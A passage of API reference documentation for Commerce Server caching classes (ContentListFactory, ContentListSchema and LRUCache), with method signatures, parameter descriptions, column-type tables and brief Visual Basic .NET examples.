A bool used to return the current trace mode setting. A value of true enables score tracing. A value of false suppresses score tracing.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This property acts as a global switch to control whether or not score tracing is performed. If it is set to true, a SimpleList object of trace messages will be constructed that can be accessed through the TraceMessages property. If it is set to false, score tracing is suppressed.

When you use score tracing, you will notice a dramatic negative effect on performance; score tracing should not be used under normal circumstances. However, it can be useful when you are attempting to troubleshoot a scoring-related issue.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentListFactory Class (PIA)

Use this object to efficiently maintain lists of content items that compete with each other to be selected for display on a Web page by a Content Selection pipeline (CSP).

Methods

Method | Description
BuildIndex | Builds an index on the specified column.
ConstructFromRecordset | Initializes a ContentListFactory object, and creates and initializes a new ContentListSchema object, from an ADODB26Lib.Recordset object. The ContentListFactory object is populated with the data from the ADODB26Lib.Recordset object.
CreateNewContentList | Creates a new ContentList object based on the schema in use by this ContentListFactory object. The new ContentList object has access to the shared data in the ContentListFactory object that created it.
GetData | This method is not usable in Visual Basic .NET or C#.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | This method is not usable in Visual Basic .NET or C#.

Properties

Property | Type | Description
AllRows | IRowCollection | Stores the collection of all rows in the ContentListFactory object. This property is read-only.
Count | Integer | Stores the number of rows in the ContentListFactory object. This property is read/write.
Fields | ADODB26Lib.Fields | Stores the Fields collection for a particular row in the ContentListFactory object. This property is read-only.
Schema | IContentListSchema | Stores a reference to the ContentListSchema object used by this ContentListFactory object. This property is read/write.

Remarks

The ContentList and the ContentListFactory objects are designed to be run in-process with their clients. Both the ContentList object and the ContentListFactory object implement a common interface, IDataContainer. Therefore, they share the following methods and properties, which are functionally identical on both objects:

Properties:

  • AllRows
  • Count
  • Fields

Methods:

  • BuildIndex
  • Search

Both objects also expose the IDataContainer interface methods GetData and SetData. These are not intended for use with C#. Use the get_Fields method instead.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)


ContentListFactory Methods (PIA)

Methods

Method | Description
BuildIndex | Builds an index on the specified column.
ConstructFromRecordset | Initializes a ContentListFactory object, and creates and initializes a new ContentListSchema object, from an ADODB26Lib.Recordset object. The ContentListFactory object is populated with the data from the ADODB26Lib.Recordset object.
CreateNewContentList | Creates a new ContentList object based on the schema in use by this ContentListFactory object. The new ContentList object has access to the shared data in the ContentListFactory object that created it.
GetData | This method is not usable in Visual Basic .NET or C#.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | This method is not usable in Visual Basic .NET or C#.


ContentListFactory.BuildIndex Method (PIA)

Use this method to build an index for a specific column in a ContentListFactory object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub BuildIndex(
 vCol As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void BuildIndex(
 object vCol
);

Parameters

[Visual Basic .NET]
vCol
An Object that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
[C#]
vCol
An object that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following COM exception has a special meaning in this method:

S_FALSE
An index already exists on the column.

Remarks

An index can be built on any read-only, non-private column that is of type string, integer, or array of strings or integers (CLCOL_READONLY and not CLCOL_PRIVATE). Also, only columns of type CLCOL_I2, CLCOL_I4, CLCOL_STRING, and CLCOL_VARIANTARRAY can be indexed.

If a search is conducted on a column for which no index yet exists, the index is automatically created. This means that, though you are never required to call the BuildIndex method, you may want to incur the cost of creating the index at a known time for performance sake.

This method is functionally identical to the one of the same name to be found in the ContentList object.

[Visual Basic .NET]

Example

myContentListFactory.BuildIndex("AdType")

See Also

ContentListFactory Class


ContentListFactory.ConstructFromRecordset Method (PIA)

Use this method to initialize a new ContentListFactory object, and create and initialize a new ContentListSchema object, from a Recordset object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
Imports ADODB26Lib     ‘ for _Recordset
…
Public Sub ConstructFromRecordset(
 Recordset As _Recordset,
 Optional ArrSkip As Object,
 Optional SchemaAdd As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
using ADODB26Lib;                              //For _Recordset
…
public void ConstructFromRecordset(
 _Recordset Recordset,
 object ArrSkip,
 object SchemaAdd
);

Parameters

[Visual Basic .NET]
Recordset
A reference to an object that implements the _Recordset interface from which the ContentList object will be constructed.
ArrSkip
An optional Object that is a SimpleList object. The SimpleList object contains the names of field(s) that exist in the Recordset object, but that should not have a column in the new ContentList object.
Add
An optional reference to an Object that is a ContentListSchema object that contains information about additional columns or new flags for existing columns that should be accounted for when the new ContentList object is created. Refer to the Remarks section for additional information.
[C#]
Recordset
A _Recordset interface to an ADO Recordset object from which the ContentList object will be constructed.
ArrSkip
An object that is a SimpleList object. The SimpleList object contains the names of field(s) that exist in the Recordset object but that should not have a column in the new ContentList object. To omit this optional parameter, set to Type.Missing.
Add
An IContentListSchema interface of a ContentListSchema object that contains information about additional columns or new flags for existing columns that should be accounted for when the new ContentList object is created. Refer to the Remarks section for additional information. To omit this optional parameter, set to Type.Missing.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET] The Skip and Add parameters are both optional.

[C#] Values for the Skip and Add parameters are both optional, but at least one parameter must be passed. Pass Type.Missing to omit processing these parameters.

Columns defined in the ContentListSchema object that do not exist in the Recordset object are added to the new schema for the ContentListFactory object. Schema columns defined in both the ContentListSchema object and in the Recordset object get their flag settings from the former object, overriding the default flag settings otherwise applied. Supplemental columns may be either shared or private. Data for any supplemental, shared columns should be initialized using the SetData method. Data for any supplemental, private columns cannot be provided until a corresponding ContentList object is created.

The ContentListFactory object attempts to access the RecordCount property of the RecordSet object to determine how many rows of data for which space should be allocated. Not all types of RecordSet objects support this. If the RecordCount property cannot be determined, the ContentListFactory object will grow the factory in chunks of 100 rows. For this reason, it is most efficient to pass a RecordSet object for which the RecordCount property is defined.

Column types are mapped from the Recordset object according to the following table.

ADO Type | ContentList Type
adSmallInt, adUnsignedSmallInt | CLCOL_I2
adInteger, adUnsignedInt, adError | CLCOL_I4
adSingle | CLCOL_I4
adDouble | CLCOL_R8
adDBDate, adDBTime, adDBTimeStamp | CLCOL_DATE
adChar, adVarChar, adLongVarChar, adWChar, adVarWChar, adLongVarWChar | CLCOL_STRING
adChapter*, adDispatch | CLCOL_DISPATCH
adChapter | CLCOL_UNKNOWN
adBoolean | CLCOL_BOOL

Note

  • *One level of hierarchical Recordset objects are supported. The child Recordset objects are created in the ContentList object as a SimpleList of Dictionary objects.
[Visual Basic .NET]

Example

'rsSource is an existing recordset.
'vSkip is a simple list of fields to ignore.
'vSchema is a ContentListSchema object.
myContentListFactory.ConstructFromRecordset(rsSource, vSkip, vSchema)

See Also

ContentListFactory Class


ContentListFactory.CreateNewContentList Method (PIA)

Use this method to create a new ContentList object based on the schema established for this ContentListFactory object. The new ContentList object provides a unified interface to the private data that it stores and to the shared data stored in the ContentListFactory object (that created it).

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Function CreateNewContentList() As IContentList
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public IContentList CreateNewContentList();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to an object that implements the IContentList interface.

[C#] This method returns an IContentList interface to a new ContentList object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The new ContentList object will be based on the established schema for this ContentListFactory object. Storage for columns marked as CLCOL_PRIVATE in the schema is allocated in the ContentList object. The ContentList object maintains a pointer back to the factory that created it, which is where the storage for "shared" columns is maintained.

A ContentList object cannot exist independently of a ContentListFactory object.

The only prerequisite for calling this method is that a schema must be established. This can be accomplished by setting the Schema property or by calling the ConstructFromRecordset method.

[Visual Basic .NET]

Example

oMyContentList = myContentListFactory.CreateNewContentList()

See Also

ContentListFactory Class


ContentListFactory.GetData Method (PIA)

[Visual Basic .NET] Due to performance considerations, this method is not intended for use from Visual Basic .NET.

[C#] Due to performance considerations, this method is not intended for use from Visual C#.

See Also

ContentListFactory Class


ContentListFactory.Search Method (PIA)

Use this method to create a RowCollection object that allows access to each item in the ContentListFactory object that matches the specified criterion.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Function Search(
 vCol As Object,
 vSearchCriteria As Object
) As IRowCollection
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public IRowCollection Search(
 object vCol,
 object vSearchCriteria
);

Parameters

[Visual Basic .NET]
vCol
An Object that identifies the column to search. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vSearchCriteria
An Object that contains the filter criterion. The criterion is usually a String, an array of Strings, or an Integer. An attempt will be made to coerce other types to the type of the column being searched.
[C#]
vCol
An object that identifies the column to search. The column is identified by either a number representing a column position (starting at 0) or a string containing a column name.
vSearchCriteria
An object that contains the filter criterion. The criterion is usually a string, an array of strings, or an integer. An attempt will be made to coerce other types to the type of the column being searched.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to a new object that implements the IRowCollection interface. The object contains one row for each matching item.

[C#] This method returns an IRowCollection interface pointer for a new RowCollection object that allows access to the rows that match the search criteria.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following COM exception has a special meaning in this method:

S_FALSE
No rows in the ContentListFactory object matched the filter criteria. As a result, the returned RowCollection is empty.

Remarks

Columns must be shared (not private) and read-only in order to be indexed and searched. Columns must also be of type string, integer (long or short), or variant array to be searchable. The search criteria may be any variant type that can be coerced to the type of the column being searched.

When the search criteria is an array of variants, the set of rows returned contains all rows that match any of the search criteria array elements. It is a union of the matches.

This method is functionally identical to the one of the same name to be found in the ContentList object.

[Visual Basic .NET]

Example

set oMyRowCollection = myDataContainer.Search("AdType", "CarAds")

See Also

ContentListFactory Class


ContentListFactory.SetData Method (PIA)

[Visual Basic .NET] Due to performance considerations, this method is not intended for use from Visual Basic .NET.

[C#] Due to performance considerations, this method is not intended for use from Visual C#.

See Also

ContentListFactory Class


ContentListFactory Properties (PIA)

Properties

Property | Type | Description
AllRows | IRowCollection | Stores the collection of all rows in the ContentListFactory object. This property is read-only.
Count | Integer | Stores the number of rows in the ContentListFactory object. This property is read/write.
Fields | ADODB26Lib.Fields | Stores the Fields collection for a particular row in the ContentListFactory object. This property is read-only.
Schema | IContentListSchema | Stores a reference to the ContentListSchema object used by this ContentListFactory object. This property is read/write.


ContentListFactory.AllRows Property (PIA)

The AllRows property returns a new RowCollection object that allows access to the items in the ContentListFactory object. The AllRows property is read-only; however, the RowCollection object is read/write in that changes made using this object are reflected in the ContentListFactory object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property AllRows As RowCollection
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public RowCollection AllRows {get;}

Property Value

The RowCollection interface of a RowCollection object that contains all of the items in this ContentListFactory object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This property is functionally identical to the one of the same name in the ContentList object.

See Also

ContentListFactory Class

RowCollection Object


ContentListFactory.Count Property (PIA)

The Count property is a read/write Integer that gets or sets the number of content items in a ContentListFactory object.

Definition

[Visual Basic .NET]
Public Property Count As Integer
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public int Count{get; set;}

Property Value

An Integer that contains the item count.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Count property cannot be changed after ContentList objects have been created by the ContentListFactory object. Also, the Count property cannot be set to a smaller number than its current setting.

This property is functionally identical to the one of the same name to be found in the ContentList object.

See Also

ContentListFactory Class


ContentListFactory.Fields Property (PIA)

The Fields property creates a new Fields object that allows access to the fields for a specified content item. The Fields property is read-only; however, the Fields object is read/write in that changes made using this object are reflected in the ContentListFactory object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
Imports ADODB26Lib     ‘ for Fields
…
Public ReadOnly Property Fields(
 RowNum As Integer
) As Fields
[C#]
using Microsoft.CommerceServer.Interop.Caching;
using ADODB26Lib;                              //For _Fields
…
public Fields get_Fields(
 int RowNum
);

Parameters

[Visual Basic .NET]
RowNum
An Integer that contains the position of the item in the ContentListFactory object for which a Fields object will be returned. Positions are counted from 0, not from 1.
[C#]
RowNum
An int that contains the position of the item in the ContentListFactory object for which a Fields object will be returned. Positions are counted from 0, not from 1.

Return Values

This method return a Fields object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Fields object exposes the same interface as the ADO Fields object.

This property is functionally identical to the one of the same name to be found in the ContentList object.

See Also

ContentListFactory Class


ContentListFactory.Schema Property (PIA)

The Schema property is a ContentListSchema object that contains the schema used by this ContentListFactory object. The Schema property is read/write.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property Schema As IContentListSchema
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public IContentListSchema Schema {get; set;}

Property Value

An IContentListSchema interface of the ContentListSchema object that contains the schema for this ContentListFactory object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This property is intended to only be set once. However, until any ContentList object is created using the CreateNewContentList method, or until rows are allocated in the ContentListFactory object by setting the Count property, this property can be changed.

If this property is read before it is written, an empty ContentListSchema object will be created and returned.

See Also

ContentListFactory Class


ContentListSchema Class (PIA)

Use this object to manipulate the schema for a ContentListFactory object.

Methods

Method | Description
Add | Adds a new column to the schema.
FindColumn | Returns the position of a named column. Column positions are counted starting from zero (0), not one (1). This position index may be used as the Column index parameter for the GetData, SetData, Filter, and Search methods of the ContentList object.
GetSchema | Returns the entire schema in a high-performance, non-scriptable manner.
SetSchema | Sets the entire schema in a high-performance, non-scriptable manner.

Properties

Property | Type | Description
ColumnFlags | Integer | Stores the column flags, represented as a bit field. This property is read/write.
ColumnName | String | Stores the column name. This property is read/write.
ColumnType | ColumnTypeEnum | Stores the data type of the column. This property is read/write.
Count | Integer | Stores the number of columns defined by the schema. This property is read-only.
Locked | Boolean | Indicates whether this schema can be modified. This property is read/write. It is initially set to False. Once set to True, it can never be set back to False.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

Remarks

The object ContentListSchema exposes the methods GetSchema and SetSchema. However, these are not intended to be used with C#.


ContentListSchema Methods (PIA)

Methods

Method | Description
Add | Adds a new column to the schema.
FindColumn | Returns the position of a named column. Column positions are counted starting from zero (0), not one (1). This position index may be used as the Column index parameter for the GetData, SetData, Filter, and Search methods of the ContentList object.
GetSchema | Returns the entire schema in a high-performance, non-scriptable manner.
SetSchema | Sets the entire schema in a high-performance, non-scriptable manner.


ContentListSchema.Add Method (PIA)

Use this method to add a new column to a schema for use by a ContentListFactory object and its associated ContentList objects.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub Add(
 sName As String,
 Type As ColumnTypeEnum,
 Flags As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void Add(
 string sName,
 ColumnTypeEnum Type,
 int Flags
);

Parameters

[Visual Basic .NET]
sName
A String that contains a name for the new column.
Type
A value from the ColumnTypeEnum enumeration. See the Remarks section for more details.
Flags
An Integer that contains the bit mask column flag settings for the new column.
[C#]
sName
A string that contains a name for the new column.
Type
A value from the ColumnTypeEnum enumeration. See the Remarks section for more details.
Flags
An int that contains the bit mask column flag settings for the new column.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Once the Locked property has been set to True, subsequent calls to this method will fail. The ContentListFactory object will set the Locked property of its ContentListSchema object to True when one of the following conditions is met:

  • Rows of data are allocated in the factory by setting the Count property or calling the ConstructFromRecordset method.
  • The ContentListFactory object has been used to construct one or more ContentList objects using the CreateNewContentList method.

The following table shows the values of the ColumnTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
CLCOL_I2 | 2 | A 16-bit integer. This value corresponds to the VARTYPE value VT_I2.
CLCOL_I4 | 3 | A 32-bit integer. This value corresponds to the VARTYPE value VT_I4.
CLCOL_R4 | 4 | A single precision floating point number. This value corresponds to the VARTYPE value VT_R4.
CLCOL_R8 | 5 | A double precision floating point number. This value corresponds to the VARTYPE value VT_R8.
CLCOL_CY | 6 | A 64-bit integer used to store a currency value. This value corresponds to the VARTYPE value VT_CY. Monetary values stored using this type are scaled by 10,000 (4 decimal places). For example, the value 86900 would correspond to a currency value of $8.69 in the US. This is also the same as the money datatype used by SQL7.
CLCOL_DATE | 7 | A double precision floating point number used to store a date/time value. This value corresponds to the VARTYPE value VT_DATE.
CLCOL_DISPATCH | 9 | A reference to an object that supports scripting/automation (inherits from IDispatch). This value corresponds to the VARTYPE value VT_DISPATCH.
CLCOL_BOOL | 11 | A boolean value. This value corresponds to the VARTYPE value VT_BOOL. Do not confuse this with the C++ type BOOL, which is 4 bytes.
CLCOL_UNKNOWN | 13 | A pointer to an IUnknown-based interface that, presumably, does not support scripting/automation (inherits from IUnknown). This value corresponds to the VARTYPE value VT_UNKNOWN.
CLCOL_STRING | 14 | A pointer to a string in the private heap maintained by every ContentListFactory object. There is no corresponding VARTYPE value.
CLCOL_VARIANTARRAY | 15 | A pointer to a SAFEARRAY. The corresponding variant type is VT_ARRAY or VT_VARIANT.

Note

  • With the exception of CLCOL_STRING and CLCOL_VARIANTARRAY, these types are identical to the corresponding VARTYPE and share the same constant value. They may be used as a VARTYPE.
[Visual Basic .NET]

Example

'"Color" is the column name.
'CLCOL_STRING indicates the column is of type String.
'0 indicates that no flags are applied.

myContentListSchema.Add("Color", CLCOL_STRING, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentListSchema Class


ContentListSchema.FindColumn Method (PIA)

Use this method to find the position of a column specified by name.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Function FindColumn(
 sName As String
) As Integer
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public int FindColumn(
 string sName
);

Parameters

[Visual Basic .NET]
sName
A String that contains the name of the column for which the position will be returned.
[C#]
sName
A string that contains the name of the column for which the position will be returned.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer that contains the position of the new column.

[C#] This method returns the position of the specified column.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Column positions are counted from zero (0), not one (1).

[Visual Basic .NET]

Example

'"Color" is the column name.
Dim iColumnNum as Integer
iColumnNum = myContentListSchema.FindColumn("Color")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentListSchema Class


ContentListSchema.GetSchema Method (PIA)

In the interest of high performance, this method is intended for use only with C++.

See Also

ContentListSchema Class


ContentListSchema.SetSchema Method (PIA)

In the interest of high performance, this method is intended for use only with C++.

See Also

ContentListSchema Class


ContentListSchema Properties (PIA)

Properties

Property | Type | Description
ColumnFlags | Integer | Stores the column flags, represented as a bit field. This property is read/write.
ColumnName | String | Stores the column name. This property is read/write.
ColumnType | ColumnTypeEnum | Stores the data type of the column. This property is read/write.
Count | Integer | Stores the number of columns defined by the schema. This property is read-only.
Locked | Boolean | Indicates whether this schema can be modified. This property is read/write. It is initially set to False. Once set to True, it can never be set back to False.


ContentListSchema.ColumnFlags Property (PIA)

The ColumnFlags property is a read/write Integer that contains the column flags.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property ColumnFlags(
 vColumn As Object
) As Integer
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public int get_ColumnFlags(
 object vColumn
);

Put method:

using Microsoft.CommerceServer.Interop.Caching;
…
public void set_ColumnFlags(
 object vColumn,
 int ColumnFlags
);

Parameters

[Visual Basic .NET]
vColumn
An Object that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
[C#]
vColumn
A object that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
ColumnFlags
When setting the property, an int that contains the new column flag settings, represented as a bit field.

Return Values

This property returns an Integer indicating the current column flag settings, represented as a bit field.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[C#] get_ColumnFlags does not show up in IntelliSense.

Column flags are represented as a bit field. The following table shows the meanings of the bits that are used and the constants provided for manipulating those bits.

Bit | Constant | Description
1 | CLCOL_READONLY (= 0x01) | When the bit is set, data in the column is read-only, and cannot be updated. This will be common for data stored in the ContentListFactory object since that data is shared between multiple page requests. When the bit is cleared, data in the column is read/write, and can be freely updated. No record locking is performed, so update contention could occur when updating data in the ContentListFactory object. This is not a concern for columns that are marked Private since they exist in the individual instances of ContentList objects, and ContentList objects are typically created for and used by a single thread.
2 | CLCOL_PRIVATE (= 0x02) | When the bit is set, the data in the column is private to each ContentList object based on this schema. This means that the data is stored separately in each ContentList object that is created, and not stored in the shared columns in the corresponding ContentListFactory object.
4 | CLCOL_SCORE_COLUMN (= 0x04) | When the bit is set it indicates that the data in this column is the score value associated with the content item. The type of this column must be a single-precision floating-point type (CLCOL_R4); only one column in the schema can have this flag set. Further, since a unique score value must be associated with each individual page request, this bit can only be set in conjunction with the CLCOL_PRIVATE bit. In other words, it must be a column stored in the ContentList object, as opposed to the ContentListFactory object, that is marked as the score column.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentListSchema Class


ContentListSchema.ColumnName Property (PIA)

The ColumnName property is a read/write String that contains the name of the column.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property ColumnName(
 vColumn As Object
) As String
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public string get_ColumnName(
 object vColumn
);

Put method:

using Microsoft.CommerceServer.Interop.Caching;
…
public void  set_ColumnName(
 object vColumn,
 string ColumnName
);

Parameters

[Visual Basic .NET]
vColumn
An Object that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
[C#]
vColumn
An object that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
ColumnName
When putting the property, a string that contains the new column name.

Return Values

When getting the property, returns a string containing the current column name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[C#] get_ColumnNames and set_ColumnNames do not show up in IntelliSense.

Though using a column name as the value of the vColumn parameter in order to retrieve that same column name may be fruitless, passing a column name does make sense when changing the column name.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentListSchema Class


ContentListSchema.ColumnType Property (PIA)

The ColumnType property is a read/write value from the ColumnTypeEnum enumeration, specifying the data type of the specified column.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property ColumnType(
 vColumn As Object
) As ColumnTypeEnum
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public ColumnTypeEnum get_ColumnType(
 object vColumn
);

Put method:

using Microsoft.CommerceServer.Interop.Caching;
…
public void  set_ColumnType(
 object vColumn,
 ColumnTypeEnum ColumnType
);

Parameters

[Visual Basic .NET]
vColumn
An Object that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
[C#]
vColumn
An object that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
ColumnType
When putting the property, a value from the ColumnTypeEnum enumeration. See the Remarks section for more details.

Return Values

This property returns a value from the ColumnTypeEnum enumeration.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[C#] get_ColumnType and set_ColumnType do not show up in IntelliSense.

The following table shows the values of the ColumnTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
CLCOL_I2 | 2 | A 16-bit integer. This value corresponds to the VARTYPE value VT_I2.
CLCOL_I4 | 3 | A 32-bit integer. This value corresponds to the VARTYPE value VT_I4.
CLCOL_R4 | 4 | A single precision floating point number. This value corresponds to the VARTYPE value VT_R4.
CLCOL_R8 | 5 | A double precision floating point number. This value corresponds to the VARTYPE value VT_R8.
CLCOL_CY | 6 | A 64-bit integer used to store a currency value. This value corresponds to the VARTYPE value VT_CY. Monetary values stored using this type are scaled by 10,000 (4 decimal places). For example, the value 86900 would correspond to a currency value of $8.69 in the US. This is also the same as the money datatype used by SQL7.
CLCOL_DATE | 7 | A double precision floating point number used to store a date/time value. This value corresponds to the VARTYPE value VT_DATE.
CLCOL_DISPATCH | 9 | A reference to an object that supports scripting/automation (inherits from IDispatch). This value corresponds to the VARTYPE value VT_DISPATCH.
CLCOL_BOOL | 11 | A boolean. This value corresponds to the VARTYPE value VT_BOOL. Do not confuse this with the C++ type BOOL, which is 4 bytes.
CLCOL_UNKNOWN | 13 | A pointer to an IUnknown-based interface that, presumably, does not support scripting/automation (inherits from IUnknown). This value corresponds to the VARTYPE value VT_UNKNOWN.
CLCOL_STRING | 14 | A pointer to a string in the private heap maintained by every ContentListFactory object. There is no corresponding VARTYPE value.
CLCOL_VARIANTARRAY | 15 | A pointer to a SAFEARRAY. The corresponding variant type is VT_ARRAY or VT_VARIANT.

Note

  • With the exception of CLCOL_STRING and CLCOL_VARIANTARRAY, these types are identical to the corresponding VARTYPE and share the same constant value. Indeed, they may be used as a VARTYPE.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentListSchema Class


ContentListSchema.Count Property (PIA)

The Count property is a read-only value that contains the current number of columns in the schema.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property Count As Integer
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public void Count {get;}

Property Value

The current number of columns in the schema.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentListSchema Class


ContentListSchema.Locked Property (PIA)

The Locked property is a read/write Boolean that indicates whether the ContentListSchema object can be modified. A value of True indicates that the schema is locked and cannot be modified. A value of False indicates that the schema is not locked and can be modified. Once the object is in use it can no longer be modified.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property Locked As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public bool Locked {get; set; }

Property Value

A bool that specifies the schema lock setting. Since schemas, once locked, cannot be unlocked, only the first call to this property with the Locked parameter set to True will have any effect.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

A ContentListSchema object becomes permanently locked as soon as this property is set to true. Once locked, the contained schema cannot be modified or unlocked. ContentListFactory objects will lock the schema as soon as any rows are allocated or any ContentList objects are created, whichever occurs first.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentListSchema Class


LRUCache Class (PIA)

Use this object to support the creation, storage, and retrieval of name/value pairs, referred to as elements, from a cache in memory. The LRUCache object functions similarly to the Dictionary object, except that it only stores a limited number of elements, and internally ranks them according to use. When the cache is full and a new element needs to be added, the least recently used element is removed from the cache to make room for the new element.

Methods

Method | Description
Flush | Removes an element from the cache.
FlushAll | Removes all elements from the cache.
Insert | Inserts an element into the cache.
Lookup | Returns the value of an element in the cache when given the name of the element.
LookupObject | Returns an object in the cache when given the name of the object.
SetSize | Sets the maximum size of the cache.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)


LRUCache Methods (PIA)

Methods

Method | Description
Flush | Removes an element from the cache.
FlushAll | Removes all elements from the cache.
Insert | Inserts an element into the cache.
Lookup | Returns the value of an element in the cache when given the name of the element.
LookupObject | Returns an object in the cache when given the name of the object.
SetSize | Sets the maximum size of the cache.


LRUCache.Flush Method (PIA)

Use this method to remove the specified element from the cache.

Definition

[Visual Basic .NET]
Import Microsoft.CommerceServer.Interop.Caching
…
Public Sub Flush(
  Optional bstrKey As String
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void Flush(
  string bstrKey
);

Parameters

[Visual Basic .NET]
bstrKey
An optional String that contains the name of the element to be removed from the cache.
[C#]
bstrKey
A string that contains the name of the element to be removed from the cache. Set to Type.Missing in order to not specify a name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If no element is specified, all elements are removed.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

